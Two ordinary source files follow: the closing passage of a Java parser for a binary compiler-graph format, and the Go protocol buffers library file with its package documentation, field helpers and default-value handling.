readPoolObject(Klass.class); String name = readPoolObject(String.class); Signature sign = readPoolObject(Signature.class); int flags = readInt(); byte[] code = readBytes(); obj = new Method(name, sign, code, holder, flags); break; } case POOL_FIELD: { Klass holder = readPoolObject(Klass.class); String name = readPoolObject(String.class); String fType = readPoolObject(String.class); int flags = readInt(); obj = new Field(fType, holder, name, flags); break; } case POOL_SIGNATURE: { int argc = readShort(); String[] args = new String[argc]; for (int i = 0; i < argc; i++) { args[i] = readPoolObject(String.class); } String returnType = readPoolObject(String.class); obj = new Signature(returnType, args); break; } case POOL_STRING: { obj = readString(); break; } default: throw new IOException("unknown pool type"); } while (constantPool.size() <= index) { constantPool.add(null); } constantPool.set(index, obj); return obj; } private Object readPropertyObject() throws IOException { int type = readByte(); switch (type) { case PROPERTY_INT: return readInt(); case PROPERTY_LONG: return readLong(); case PROPERTY_FLOAT: return readFloat(); case PROPERTY_DOUBLE: return readDouble(); case PROPERTY_TRUE: return Boolean.TRUE; case PROPERTY_FALSE: return Boolean.FALSE; case PROPERTY_POOL: return readPoolObject(Object.class); case PROPERTY_ARRAY: int subType = readByte(); switch(subType) { case PROPERTY_INT: return readIntsToString(); case PROPERTY_DOUBLE: return readDoublesToString(); case PROPERTY_POOL: return readPoolObjectsToString(); default: throw new IOException("Unknown type"); } case PROPERTY_SUBGRAPH: InputGraph graph = parseGraph(""); new Group(null).addElement(graph); return graph; default: throw new IOException("Unknown type"); } } @Override public GraphDocument parse() throws IOException { folderStack.push(rootDocument); hashStack.push(null); if (monitor != null) { monitor.setState("Starting parsing"); } try { while(true) { parseRoot(); } } catch (EOFException e) { } if (monitor != null) { monitor.setState("Finished parsing"); } return rootDocument; } private void parseRoot() throws IOException { int type = readByte(); switch(type) { case BEGIN_GRAPH: { final Folder parent = folderStack.peek(); final InputGraph graph = parseGraph(); SwingUtilities.invokeLater(new Runnable(){ @Override public void run() { parent.addElement(graph); } }); break; } case BEGIN_GROUP: { final Folder parent = folderStack.peek(); final Group group = parseGroup(parent); if (callback == null || parent instanceof Group) { SwingUtilities.invokeLater(new Runnable(){ @Override public void run() { parent.addElement(group); } }); } folderStack.push(group); hashStack.push(null); if (callback != null && parent instanceof GraphDocument) { callback.started(group); } break; } case CLOSE_GROUP: { if (folderStack.isEmpty()) { throw new IOException("Unbalanced groups"); } folderStack.pop(); hashStack.pop(); break; } default: throw new IOException("unknown root : " + type); } } private Group parseGroup(Folder parent) throws IOException { String name = readPoolObject(String.class); String shortName = readPoolObject(String.class); if (monitor != null) { monitor.setState(shortName); } Method method = readPoolObject(Method.class); int bci = readInt(); Group group = new Group(parent); group.getProperties().setProperty("name", name); parseProperties(group.getProperties()); if (method != null) { InputMethod inMethod = new InputMethod(group, method.name, shortName, bci); inMethod.setBytecodes("TODO"); group.setMethod(inMethod); } return group; } int lastPosition = 0; private InputGraph parseGraph() throws IOException { if (monitor != null) { monitor.updateProgress(); } String title = readPoolObject(String.class); digest.reset(); lastPosition = buffer.position(); InputGraph graph = parseGraph(title); int position = buffer.position(); buffer.position(lastPosition); byte[] remaining = new byte[position - buffer.position()]; buffer.get(remaining); digest.update(remaining); assert position == buffer.position(); lastPosition = buffer.position(); byte[] d = digest.digest(); byte[] hash = hashStack.peek(); if (hash != null && Arrays.equals(hash, d)) { graph.getProperties().setProperty("_isDuplicate", "true"); } else { hashStack.pop(); hashStack.push(d); } return graph; } private void parseProperties(Properties properties) throws IOException { int propCount = readShort(); for (int j = 0; j < propCount; j++) { String key = readPoolObject(String.class); Object value = readPropertyObject(); properties.setProperty(key, value != null ? value.toString() : "null"); } } private InputGraph parseGraph(String title) throws IOException { InputGraph graph = new InputGraph(title); parseProperties(graph.getProperties()); parseNodes(graph); parseBlocks(graph); graph.ensureNodesInBlocks(); for (InputNode node : graph.getNodes()) { node.internProperties(); } return graph; } private void parseBlocks(InputGraph graph) throws IOException { int blockCount = readInt(); List<Edge> edges = new LinkedList<>(); for (int i = 0; i < blockCount; i++) { int id = readInt(); String name = id >= 0 ? Integer.toString(id) : NO_BLOCK; InputBlock block = graph.addBlock(name); int nodeCount = readInt(); for (int j = 0; j < nodeCount; j++) { int nodeId = readInt(); if (nodeId < 0) { continue; } final Properties properties = graph.getNode(nodeId).getProperties(); final String oldBlock = properties.get("block"); if(oldBlock != null) { properties.setProperty("block", oldBlock + ", " + name); } else { block.addNode(nodeId); properties.setProperty("block", name); } } int edgeCount = readInt(); for (int j = 0; j < edgeCount; j++) { int to = readInt(); edges.add(new Edge(id, to)); } } for (Edge e : edges) { String fromName = e.from >= 0 ? Integer.toString(e.from) : NO_BLOCK; String toName = e.to >= 0 ? Integer.toString(e.to) : NO_BLOCK; graph.addBlockEdge(graph.getBlock(fromName), graph.getBlock(toName)); } } private void parseNodes(InputGraph graph) throws IOException { int count = readInt(); Map<String, Object> props = new HashMap<>(); List<Edge> inputEdges = new ArrayList<>(count); List<Edge> succEdges = new ArrayList<>(count); for (int i = 0; i < count; i++) { int id = readInt(); InputNode node = new InputNode(id); final Properties properties = node.getProperties(); NodeClass nodeClass = readPoolObject(NodeClass.class); int preds = readByte(); if (preds > 0) { properties.setProperty("hasPredecessor", "true"); } properties.setProperty("idx", Integer.toString(id)); int propCount = readShort(); for (int j = 0; j < propCount; j++) { String key = readPoolObject(String.class); if (key.equals("hasPredecessor") || key.equals("name") || key.equals("class") || key.equals("id") || key.equals("idx")) { key = "!data." + key; } Object value = readPropertyObject(); if (value instanceof InputGraph) { InputGraph subgraph = (InputGraph) value; subgraph.getProperties().setProperty("name", node.getId() + ":" + key); node.addSubgraph((InputGraph) value); } else { properties.setProperty(key, value != null ? value.toString() : "null"); props.put(key, value); } } ArrayList<Edge> currentEdges = new ArrayList<>(); int portNum = 0; for (TypedPort p : nodeClass.inputs) { if (p.isList) { int size = readShort(); for (int j = 0; j < size; j++) { int in = readInt(); if (in >= 0) { Edge e = new Edge(in, id, (char) (preds + portNum), p.name + "[" + j + "]", p.type.toString(Length.S), true); currentEdges.add(e); inputEdges.add(e); portNum++; } } } else { int in = readInt(); if (in >= 0) { Edge e = new Edge(in, id, (char) (preds + portNum), p.name, p.type.toString(Length.S), true); currentEdges.add(e); inputEdges.add(e); portNum++; } } } portNum = 0; for (Port p : nodeClass.sux) { if (p.isList) { int size = readShort(); for (int j = 0; j < size; j++) { int sux = readInt(); if (sux >= 0) { Edge e = new Edge(id, sux, (char) portNum, p.name + "[" + j + "]", "Successor", false); currentEdges.add(e); succEdges.add(e); portNum++; } } } else { int sux = readInt(); if (sux >= 0) { Edge e = new Edge(id, sux, (char) portNum, p.name, "Successor", false); currentEdges.add(e); succEdges.add(e); portNum++; } } } properties.setProperty("name", createName(currentEdges, props, nodeClass.nameTemplate)); properties.setProperty("class", nodeClass.className); switch (nodeClass.className) { case "BeginNode": properties.setProperty("shortName", "B"); break; case "EndNode": properties.setProperty("shortName", "E"); break; } graph.addNode(node); props.clear(); } Set<InputNode> nodesWithSuccessor = new HashSet<>(); for (Edge e : succEdges) { assert !e.input; char fromIndex = e.num; nodesWithSuccessor.add(graph.getNode(e.from)); char toIndex = 0; graph.addEdge(InputEdge.createImmutable(fromIndex, toIndex, e.from, e.to, e.label, e.type)); } for (Edge e : inputEdges) { assert e.input; char fromIndex = (char) (nodesWithSuccessor.contains(graph.getNode(e.from)) ? 1 : 0); char toIndex = e.num; graph.addEdge(InputEdge.createImmutable(fromIndex, toIndex, e.from, e.to, e.label, e.type)); } } static final Pattern templatePattern = Pattern.compile("\\{(p|i)#([a-zA-Z0-9$_]+)(/(l|m|s))?\\}"); private String createName(List<Edge> edges, Map<String, Object> properties, String template) { Matcher m = templatePattern.matcher(template); StringBuffer sb = new StringBuffer(); while (m.find()) { String name = m.group(2); String type = m.group(1); String result; switch (type) { case "i": StringBuilder inputString = new StringBuilder(); for(Edge edge : edges) { if (edge.label.startsWith(name) && (name.length() == edge.label.length() || edge.label.charAt(name.length()) == '[')) { if (inputString.length() > 0) { inputString.append(", "); } inputString.append(edge.from); } } result = inputString.toString(); break; case "p": Object prop = properties.get(name); String length = m.group(4); if (prop == null) { result = "?"; } else if (length != null && prop instanceof LengthToString) { LengthToString lengthProp = (LengthToString) prop; switch(length) { default: case "l": result = lengthProp.toString(Length.L); break; case "m": result = lengthProp.toString(Length.M); break; case "s": result = lengthProp.toString(Length.S); break; } } else { result = prop.toString(); } break; default: result = "#?#"; break; } result = result.replace("\\", "\\\\"); result = result.replace("$", "\\$"); m.appendReplacement(sb, result); } m.appendTail(sb); return sb.toString().intern(); } private static class Edge { final int from; final int to; final char num; final String label; final String type; final boolean input; public Edge(int from, int to) { this(from, to, (char) 0, null, null, false); } public Edge(int from, int to, char num, String label, String type, boolean input) { this.from = from; this.to = to; this.label = label != null ? label.intern() : label; this.type = type != null ? type.intern() : type; this.num = num; this.input = input; } } }
{ "pile_set_name": "Github" }
// Go support for Protocol Buffers - Google's data interchange format // // Copyright 2010 The Go Authors. All rights reserved. // https://github.com/golang/protobuf // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. /* Package proto converts data structures to and from the wire format of protocol buffers. It works in concert with the Go source code generated for .proto files by the protocol compiler. A summary of the properties of the protocol buffer interface for a protocol buffer variable v: - Names are turned from camel_case to CamelCase for export. - There are no methods on v to set fields; just treat them as structure fields. - There are getters that return a field's value if set, and return the field's default value if unset. The getters work even if the receiver is a nil message. - The zero value for a struct is its correct initialization state. All desired fields must be set before marshaling. - A Reset() method will restore a protobuf struct to its zero state. - Non-repeated fields are pointers to the values; nil means unset. That is, optional or required field int32 f becomes F *int32. - Repeated fields are slices. - Helper functions are available to aid the setting of fields. msg.Foo = proto.String("hello") // set field - Constants are defined to hold the default values of all fields that have them. They have the form Default_StructName_FieldName. Because the getter methods handle defaulted values, direct use of these constants should be rare. - Enums are given type names and maps from names to values. Enum values are prefixed by the enclosing message's name, or by the enum's type name if it is a top-level enum. Enum types have a String method, and a Enum method to assist in message construction. - Nested messages, groups and enums have type names prefixed with the name of the surrounding message type. - Extensions are given descriptor names that start with E_, followed by an underscore-delimited list of the nested messages that contain it (if any) followed by the CamelCased name of the extension field itself. HasExtension, ClearExtension, GetExtension and SetExtension are functions for manipulating extensions. - Oneof field sets are given a single field in their message, with distinguished wrapper types for each possible field value. - Marshal and Unmarshal are functions to encode and decode the wire format. When the .proto file specifies `syntax="proto3"`, there are some differences: - Non-repeated fields of non-message type are values instead of pointers. - Enum types do not get an Enum method. The simplest way to describe this is to see an example. Given file test.proto, containing package example; enum FOO { X = 17; } message Test { required string label = 1; optional int32 type = 2 [default=77]; repeated int64 reps = 3; optional group OptionalGroup = 4 { required string RequiredField = 5; } oneof union { int32 number = 6; string name = 7; } } The resulting file, test.pb.go, is: package example import proto "github.com/golang/protobuf/proto" import math "math" type FOO int32 const ( FOO_X FOO = 17 ) var FOO_name = map[int32]string{ 17: "X", } var FOO_value = map[string]int32{ "X": 17, } func (x FOO) Enum() *FOO { p := new(FOO) *p = x return p } func (x FOO) String() string { return proto.EnumName(FOO_name, int32(x)) } func (x *FOO) UnmarshalJSON(data []byte) error { value, err := proto.UnmarshalJSONEnum(FOO_value, data) if err != nil { return err } *x = FOO(value) return nil } type Test struct { Label *string `protobuf:"bytes,1,req,name=label" json:"label,omitempty"` Type *int32 `protobuf:"varint,2,opt,name=type,def=77" json:"type,omitempty"` Reps []int64 `protobuf:"varint,3,rep,name=reps" json:"reps,omitempty"` Optionalgroup *Test_OptionalGroup `protobuf:"group,4,opt,name=OptionalGroup" json:"optionalgroup,omitempty"` // Types that are valid to be assigned to Union: // *Test_Number // *Test_Name Union isTest_Union `protobuf_oneof:"union"` XXX_unrecognized []byte `json:"-"` } func (m *Test) Reset() { *m = Test{} } func (m *Test) String() string { return proto.CompactTextString(m) } func (*Test) ProtoMessage() {} type isTest_Union interface { isTest_Union() } type Test_Number struct { Number int32 `protobuf:"varint,6,opt,name=number"` } type Test_Name struct { Name string `protobuf:"bytes,7,opt,name=name"` } func (*Test_Number) isTest_Union() {} func (*Test_Name) isTest_Union() {} func (m *Test) GetUnion() isTest_Union { if m != nil { return m.Union } return nil } const Default_Test_Type int32 = 77 func (m *Test) GetLabel() string { if m != nil && m.Label != nil { return *m.Label } return "" } func (m *Test) GetType() int32 { if m != nil && m.Type != nil { return *m.Type } return Default_Test_Type } func (m *Test) GetOptionalgroup() *Test_OptionalGroup { if m != nil { return m.Optionalgroup } return nil } type Test_OptionalGroup struct { RequiredField *string `protobuf:"bytes,5,req" json:"RequiredField,omitempty"` } func (m *Test_OptionalGroup) Reset() { *m = Test_OptionalGroup{} } func (m *Test_OptionalGroup) String() string { return proto.CompactTextString(m) } func (m *Test_OptionalGroup) GetRequiredField() string { if m != nil && m.RequiredField != nil { return *m.RequiredField } return "" } func (m *Test) GetNumber() int32 { if x, ok := m.GetUnion().(*Test_Number); ok { return x.Number } return 0 } func (m *Test) GetName() string { if x, ok := m.GetUnion().(*Test_Name); ok { return x.Name } return "" } func init() { proto.RegisterEnum("example.FOO", FOO_name, FOO_value) } To create and play with a Test object: package main import ( "log" "github.com/golang/protobuf/proto" pb "./example.pb" ) func main() { test := &pb.Test{ Label: proto.String("hello"), Type: proto.Int32(17), Reps: []int64{1, 2, 3}, Optionalgroup: &pb.Test_OptionalGroup{ RequiredField: proto.String("good bye"), }, Union: &pb.Test_Name{"fred"}, } data, err := proto.Marshal(test) if err != nil { log.Fatal("marshaling error: ", err) } newTest := &pb.Test{} err = proto.Unmarshal(data, newTest) if err != nil { log.Fatal("unmarshaling error: ", err) } // Now test and newTest contain the same data. if test.GetLabel() != newTest.GetLabel() { log.Fatalf("data mismatch %q != %q", test.GetLabel(), newTest.GetLabel()) } // Use a type switch to determine which oneof was set. switch u := test.Union.(type) { case *pb.Test_Number: // u.Number contains the number. case *pb.Test_Name: // u.Name contains the string. } // etc. } */ package proto import ( "encoding/json" "fmt" "log" "reflect" "sort" "strconv" "sync" ) // RequiredNotSetError is an error type returned by either Marshal or Unmarshal. // Marshal reports this when a required field is not initialized. // Unmarshal reports this when a required field is missing from the wire data. type RequiredNotSetError struct{ field string } func (e *RequiredNotSetError) Error() string { if e.field == "" { return fmt.Sprintf("proto: required field not set") } return fmt.Sprintf("proto: required field %q not set", e.field) } func (e *RequiredNotSetError) RequiredNotSet() bool { return true } type invalidUTF8Error struct{ field string } func (e *invalidUTF8Error) Error() string { if e.field == "" { return "proto: invalid UTF-8 detected" } return fmt.Sprintf("proto: field %q contains invalid UTF-8", e.field) } func (e *invalidUTF8Error) InvalidUTF8() bool { return true } // errInvalidUTF8 is a sentinel error to identify fields with invalid UTF-8. // This error should not be exposed to the external API as such errors should // be recreated with the field information. var errInvalidUTF8 = &invalidUTF8Error{} // isNonFatal reports whether the error is either a RequiredNotSet error // or a InvalidUTF8 error. func isNonFatal(err error) bool { if re, ok := err.(interface{ RequiredNotSet() bool }); ok && re.RequiredNotSet() { return true } if re, ok := err.(interface{ InvalidUTF8() bool }); ok && re.InvalidUTF8() { return true } return false } type nonFatal struct{ E error } // Merge merges err into nf and reports whether it was successful. // Otherwise it returns false for any fatal non-nil errors. func (nf *nonFatal) Merge(err error) (ok bool) { if err == nil { return true // not an error } if !isNonFatal(err) { return false // fatal error } if nf.E == nil { nf.E = err // store first instance of non-fatal error } return true } // Message is implemented by generated protocol buffer messages. type Message interface { Reset() String() string ProtoMessage() } // A Buffer is a buffer manager for marshaling and unmarshaling // protocol buffers. It may be reused between invocations to // reduce memory usage. It is not necessary to use a Buffer; // the global functions Marshal and Unmarshal create a // temporary Buffer and are fine for most applications. type Buffer struct { buf []byte // encode/decode byte stream index int // read point deterministic bool } // NewBuffer allocates a new Buffer and initializes its internal data to // the contents of the argument slice. func NewBuffer(e []byte) *Buffer { return &Buffer{buf: e} } // Reset resets the Buffer, ready for marshaling a new protocol buffer. func (p *Buffer) Reset() { p.buf = p.buf[0:0] // for reading/writing p.index = 0 // for reading } // SetBuf replaces the internal buffer with the slice, // ready for unmarshaling the contents of the slice. func (p *Buffer) SetBuf(s []byte) { p.buf = s p.index = 0 } // Bytes returns the contents of the Buffer. func (p *Buffer) Bytes() []byte { return p.buf } // SetDeterministic sets whether to use deterministic serialization. // // Deterministic serialization guarantees that for a given binary, equal // messages will always be serialized to the same bytes. This implies: // // - Repeated serialization of a message will return the same bytes. // - Different processes of the same binary (which may be executing on // different machines) will serialize equal messages to the same bytes. // // Note that the deterministic serialization is NOT canonical across // languages. It is not guaranteed to remain stable over time. It is unstable // across different builds with schema changes due to unknown fields. // Users who need canonical serialization (e.g., persistent storage in a // canonical form, fingerprinting, etc.) should define their own // canonicalization specification and implement their own serializer rather // than relying on this API. // // If deterministic serialization is requested, map entries will be sorted // by keys in lexographical order. This is an implementation detail and // subject to change. func (p *Buffer) SetDeterministic(deterministic bool) { p.deterministic = deterministic } /* * Helper routines for simplifying the creation of optional fields of basic type. */ // Bool is a helper routine that allocates a new bool value // to store v and returns a pointer to it. func Bool(v bool) *bool { return &v } // Int32 is a helper routine that allocates a new int32 value // to store v and returns a pointer to it. func Int32(v int32) *int32 { return &v } // Int is a helper routine that allocates a new int32 value // to store v and returns a pointer to it, but unlike Int32 // its argument value is an int. func Int(v int) *int32 { p := new(int32) *p = int32(v) return p } // Int64 is a helper routine that allocates a new int64 value // to store v and returns a pointer to it. func Int64(v int64) *int64 { return &v } // Float32 is a helper routine that allocates a new float32 value // to store v and returns a pointer to it. func Float32(v float32) *float32 { return &v } // Float64 is a helper routine that allocates a new float64 value // to store v and returns a pointer to it. func Float64(v float64) *float64 { return &v } // Uint32 is a helper routine that allocates a new uint32 value // to store v and returns a pointer to it. func Uint32(v uint32) *uint32 { return &v } // Uint64 is a helper routine that allocates a new uint64 value // to store v and returns a pointer to it. func Uint64(v uint64) *uint64 { return &v } // String is a helper routine that allocates a new string value // to store v and returns a pointer to it. func String(v string) *string { return &v } // EnumName is a helper function to simplify printing protocol buffer enums // by name. Given an enum map and a value, it returns a useful string. func EnumName(m map[int32]string, v int32) string { s, ok := m[v] if ok { return s } return strconv.Itoa(int(v)) } // UnmarshalJSONEnum is a helper function to simplify recovering enum int values // from their JSON-encoded representation. Given a map from the enum's symbolic // names to its int values, and a byte buffer containing the JSON-encoded // value, it returns an int32 that can be cast to the enum type by the caller. // // The function can deal with both JSON representations, numeric and symbolic. func UnmarshalJSONEnum(m map[string]int32, data []byte, enumName string) (int32, error) { if data[0] == '"' { // New style: enums are strings. var repr string if err := json.Unmarshal(data, &repr); err != nil { return -1, err } val, ok := m[repr] if !ok { return 0, fmt.Errorf("unrecognized enum %s value %q", enumName, repr) } return val, nil } // Old style: enums are ints. var val int32 if err := json.Unmarshal(data, &val); err != nil { return 0, fmt.Errorf("cannot unmarshal %#q into enum %s", data, enumName) } return val, nil } // DebugPrint dumps the encoded data in b in a debugging format with a header // including the string s. Used in testing but made available for general debugging. func (p *Buffer) DebugPrint(s string, b []byte) { var u uint64 obuf := p.buf index := p.index p.buf = b p.index = 0 depth := 0 fmt.Printf("\n--- %s ---\n", s) out: for { for i := 0; i < depth; i++ { fmt.Print(" ") } index := p.index if index == len(p.buf) { break } op, err := p.DecodeVarint() if err != nil { fmt.Printf("%3d: fetching op err %v\n", index, err) break out } tag := op >> 3 wire := op & 7 switch wire { default: fmt.Printf("%3d: t=%3d unknown wire=%d\n", index, tag, wire) break out case WireBytes: var r []byte r, err = p.DecodeRawBytes(false) if err != nil { break out } fmt.Printf("%3d: t=%3d bytes [%d]", index, tag, len(r)) if len(r) <= 6 { for i := 0; i < len(r); i++ { fmt.Printf(" %.2x", r[i]) } } else { for i := 0; i < 3; i++ { fmt.Printf(" %.2x", r[i]) } fmt.Printf(" ..") for i := len(r) - 3; i < len(r); i++ { fmt.Printf(" %.2x", r[i]) } } fmt.Printf("\n") case WireFixed32: u, err = p.DecodeFixed32() if err != nil { fmt.Printf("%3d: t=%3d fix32 err %v\n", index, tag, err) break out } fmt.Printf("%3d: t=%3d fix32 %d\n", index, tag, u) case WireFixed64: u, err = p.DecodeFixed64() if err != nil { fmt.Printf("%3d: t=%3d fix64 err %v\n", index, tag, err) break out } fmt.Printf("%3d: t=%3d fix64 %d\n", index, tag, u) case WireVarint: u, err = p.DecodeVarint() if err != nil { fmt.Printf("%3d: t=%3d varint err %v\n", index, tag, err) break out } fmt.Printf("%3d: t=%3d varint %d\n", index, tag, u) case WireStartGroup: fmt.Printf("%3d: t=%3d start\n", index, tag) depth++ case WireEndGroup: depth-- fmt.Printf("%3d: t=%3d end\n", index, tag) } } if depth != 0 { fmt.Printf("%3d: start-end not balanced %d\n", p.index, depth) } fmt.Printf("\n") p.buf = obuf p.index = index } // SetDefaults sets unset protocol buffer fields to their default values. // It only modifies fields that are both unset and have defined defaults. // It recursively sets default values in any non-nil sub-messages. func SetDefaults(pb Message) { setDefaults(reflect.ValueOf(pb), true, false) } // v is a pointer to a struct. func setDefaults(v reflect.Value, recur, zeros bool) { v = v.Elem() defaultMu.RLock() dm, ok := defaults[v.Type()] defaultMu.RUnlock() if !ok { dm = buildDefaultMessage(v.Type()) defaultMu.Lock() defaults[v.Type()] = dm defaultMu.Unlock() } for _, sf := range dm.scalars { f := v.Field(sf.index) if !f.IsNil() { // field already set continue } dv := sf.value if dv == nil && !zeros { // no explicit default, and don't want to set zeros continue } fptr := f.Addr().Interface() // **T // TODO: Consider batching the allocations we do here. switch sf.kind { case reflect.Bool: b := new(bool) if dv != nil { *b = dv.(bool) } *(fptr.(**bool)) = b case reflect.Float32: f := new(float32) if dv != nil { *f = dv.(float32) } *(fptr.(**float32)) = f case reflect.Float64: f := new(float64) if dv != nil { *f = dv.(float64) } *(fptr.(**float64)) = f case reflect.Int32: // might be an enum if ft := f.Type(); ft != int32PtrType { // enum f.Set(reflect.New(ft.Elem())) if dv != nil { f.Elem().SetInt(int64(dv.(int32))) } } else { // int32 field i := new(int32) if dv != nil { *i = dv.(int32) } *(fptr.(**int32)) = i } case reflect.Int64: i := new(int64) if dv != nil { *i = dv.(int64) } *(fptr.(**int64)) = i case reflect.String: s := new(string) if dv != nil { *s = dv.(string) } *(fptr.(**string)) = s case reflect.Uint8: // exceptional case: []byte var b []byte if dv != nil { db := dv.([]byte) b = make([]byte, len(db)) copy(b, db) } else { b = []byte{} } *(fptr.(*[]byte)) = b case reflect.Uint32: u := new(uint32) if dv != nil { *u = dv.(uint32) } *(fptr.(**uint32)) = u case reflect.Uint64: u := new(uint64) if dv != nil { *u = dv.(uint64) } *(fptr.(**uint64)) = u default: log.Printf("proto: can't set default for field %v (sf.kind=%v)", f, sf.kind) } } for _, ni := range dm.nested { f := v.Field(ni) // f is *T or []*T or map[T]*T switch f.Kind() { case reflect.Ptr: if f.IsNil() { continue } setDefaults(f, recur, zeros) case reflect.Slice: for i := 0; i < f.Len(); i++ { e := f.Index(i) if e.IsNil() { continue } setDefaults(e, recur, zeros) } case reflect.Map: for _, k := range f.MapKeys() { e := f.MapIndex(k) if e.IsNil() { continue } setDefaults(e, recur, zeros) } } } } var ( // defaults maps a protocol buffer struct type to a slice of the fields, // with its scalar fields set to their proto-declared non-zero default values. defaultMu sync.RWMutex defaults = make(map[reflect.Type]defaultMessage) int32PtrType = reflect.TypeOf((*int32)(nil)) ) // defaultMessage represents information about the default values of a message. type defaultMessage struct { scalars []scalarField nested []int // struct field index of nested messages } type scalarField struct { index int // struct field index kind reflect.Kind // element type (the T in *T or []T) value interface{} // the proto-declared default value, or nil } // t is a struct type. func buildDefaultMessage(t reflect.Type) (dm defaultMessage) { sprop := GetProperties(t) for _, prop := range sprop.Prop { fi, ok := sprop.decoderTags.get(prop.Tag) if !ok { // XXX_unrecognized continue } ft := t.Field(fi).Type sf, nested, err := fieldDefault(ft, prop) switch { case err != nil: log.Print(err) case nested: dm.nested = append(dm.nested, fi) case sf != nil: sf.index = fi dm.scalars = append(dm.scalars, *sf) } } return dm } // fieldDefault returns the scalarField for field type ft. // sf will be nil if the field can not have a default. // nestedMessage will be true if this is a nested message. // Note that sf.index is not set on return. func fieldDefault(ft reflect.Type, prop *Properties) (sf *scalarField, nestedMessage bool, err error) { var canHaveDefault bool switch ft.Kind() { case reflect.Ptr: if ft.Elem().Kind() == reflect.Struct { nestedMessage = true } else { canHaveDefault = true // proto2 scalar field } case reflect.Slice: switch ft.Elem().Kind() { case reflect.Ptr: nestedMessage = true // repeated message case reflect.Uint8: canHaveDefault = true // bytes field } case reflect.Map: if ft.Elem().Kind() == reflect.Ptr { nestedMessage = true // map with message values } } if !canHaveDefault { if nestedMessage { return nil, true, nil } return nil, false, nil } // We now know that ft is a pointer or slice. sf = &scalarField{kind: ft.Elem().Kind()} // scalar fields without defaults if !prop.HasDefault { return sf, false, nil } // a scalar field: either *T or []byte switch ft.Elem().Kind() { case reflect.Bool: x, err := strconv.ParseBool(prop.Default) if err != nil { return nil, false, fmt.Errorf("proto: bad default bool %q: %v", prop.Default, err) } sf.value = x case reflect.Float32: x, err := strconv.ParseFloat(prop.Default, 32) if err != nil { return nil, false, fmt.Errorf("proto: bad default float32 %q: %v", prop.Default, err) } sf.value = float32(x) case reflect.Float64: x, err := strconv.ParseFloat(prop.Default, 64) if err != nil { return nil, false, fmt.Errorf("proto: bad default float64 %q: %v", prop.Default, err) } sf.value = x case reflect.Int32: x, err := strconv.ParseInt(prop.Default, 10, 32) if err != nil { return nil, false, fmt.Errorf("proto: bad default int32 %q: %v", prop.Default, err) } sf.value = int32(x) case reflect.Int64: x, err := strconv.ParseInt(prop.Default, 10, 64) if err != nil { return nil, false, fmt.Errorf("proto: bad default int64 %q: %v", prop.Default, err) } sf.value = x case reflect.String: sf.value = prop.Default case reflect.Uint8: // []byte (not *uint8) sf.value = []byte(prop.Default) case reflect.Uint32: x, err := strconv.ParseUint(prop.Default, 10, 32) if err != nil { return nil, false, fmt.Errorf("proto: bad default uint32 %q: %v", prop.Default, err) } sf.value = uint32(x) case reflect.Uint64: x, err := strconv.ParseUint(prop.Default, 10, 64) if err != nil { return nil, false, fmt.Errorf("proto: bad default uint64 %q: %v", prop.Default, err) } sf.value = x default: return nil, false, fmt.Errorf("proto: unhandled def kind %v", ft.Elem().Kind()) } return sf, false, nil } // mapKeys returns a sort.Interface to be used for sorting the map keys. // Map fields may have key types of non-float scalars, strings and enums. func mapKeys(vs []reflect.Value) sort.Interface { s := mapKeySorter{vs: vs} // Type specialization per https://developers.google.com/protocol-buffers/docs/proto#maps. if len(vs) == 0 { return s } switch vs[0].Kind() { case reflect.Int32, reflect.Int64: s.less = func(a, b reflect.Value) bool { return a.Int() < b.Int() } case reflect.Uint32, reflect.Uint64: s.less = func(a, b reflect.Value) bool { return a.Uint() < b.Uint() } case reflect.Bool: s.less = func(a, b reflect.Value) bool { return !a.Bool() && b.Bool() } // false < true case reflect.String: s.less = func(a, b reflect.Value) bool { return a.String() < b.String() } default: panic(fmt.Sprintf("unsupported map key type: %v", vs[0].Kind())) } return s } type mapKeySorter struct { vs []reflect.Value less func(a, b reflect.Value) bool } func (s mapKeySorter) Len() int { return len(s.vs) } func (s mapKeySorter) Swap(i, j int) { s.vs[i], s.vs[j] = s.vs[j], s.vs[i] } func (s mapKeySorter) Less(i, j int) bool { return s.less(s.vs[i], s.vs[j]) } // isProto3Zero reports whether v is a zero proto3 value. func isProto3Zero(v reflect.Value) bool { switch v.Kind() { case reflect.Bool: return !v.Bool() case reflect.Int32, reflect.Int64: return v.Int() == 0 case reflect.Uint32, reflect.Uint64: return v.Uint() == 0 case reflect.Float32, reflect.Float64: return v.Float() == 0 case reflect.String: return v.String() == "" } return false } // ProtoPackageIsVersion2 is referenced from generated protocol buffer files // to assert that that code is compatible with this version of the proto package. const ProtoPackageIsVersion2 = true // ProtoPackageIsVersion1 is referenced from generated protocol buffer files // to assert that that code is compatible with this version of the proto package. const ProtoPackageIsVersion1 = true // InternalMessageInfo is a type used internally by generated .pb.go files. // This type is not intended to be used by non-generated code. // This type is not subject to any compatibility guarantee. type InternalMessageInfo struct { marshal *marshalInfo unmarshal *unmarshalInfo merge *mergeInfo discard *discardInfo }
{ "pile_set_name": "Github" }
